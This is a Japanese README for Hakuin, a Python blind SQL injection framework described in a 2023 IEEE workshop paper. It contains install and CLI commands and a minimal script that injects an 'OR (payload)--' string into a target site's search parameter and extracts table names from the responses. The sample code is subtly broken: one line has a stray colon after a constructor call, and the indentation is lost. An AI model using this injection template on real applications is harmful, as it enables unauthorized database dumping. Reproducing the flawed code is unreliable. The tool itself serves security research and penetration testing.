
非常に高速で完全に設定可能なBlind SQL Injectionの最適化および自動化フレームワーク。
Hakuinは、Python 3で書かれたBlind SQL Injection (BSQLI)の最適化および自動化フレームワークです。これは抽出ロジックを抽象化し、ユーザーが脆弱なWebアプリケーションからデータベースを簡単かつ効率的にダンプできるようにします。プロセスを高速化するために、Hakuinは事前学習済みおよび適応型言語モデル、日和見推測、統計モデリング、並列処理、三項クエリなど、さまざまな最適化手法を活用しています。
Hakuinは、高名な学術会議および産業会議で発表されています:
Hakuinをインストールするには、次のコマンドを実行します:
pip3 install hakuin
Hakuinには、直感的なツールが付属しており、Hakuinのほとんどの機能をコマンドラインから直接利用できます:
hk -h
場合によっては、BSQLIの脆弱性はコマンドラインから悪用するには難しすぎて、カスタムスクリプトが必要になります。ここでHakuinが真価を発揮し、インジェクションロジック、推論ロジック、さらにはクエリまで、あらゆるものをカスタマイズできます。
以下は最小限の例です:
import asyncio
import aiohttp
from hakuin import Extractor, Requester
class SimpleRequester(Requester):
async def request(self, query, ctx):
payload = query.render(ctx)
url = f'http://target.com/users?search=XXX" OR ({payload})--'
async with aiohttp.request('GET', url) as resp:
return resp.status == 200
async def main():
requester = SimpleRequester():
ext = Extractor(requester=requester, dbms='sqlite')
data = await ext.extract_table_names()
print(data)
asyncio.run(main())
必ずチュートリアルをご確認ください。
このリポジトリは、セキュリティ実務者のニーズに合わせて積極的に開発されています。私たちの論文に記載された実験を再現したい研究者は、凍結バージョンをインストールしてください。これには元のコード、実験スクリプト、結果を再現するための取扱説明書が含まれています。
@inproceedings{hakuin_bsqli,
title={Hakuin: Optimizing Blind SQL Injection with Probabilistic Language Models},
author={Pru{\v{z}}inec, Jakub and Nguyen, Quynh Anh},
booktitle={2023 IEEE Security and Privacy Workshops (SPW)},
pages={384--393},
year={2023},
organization={IEEE}
}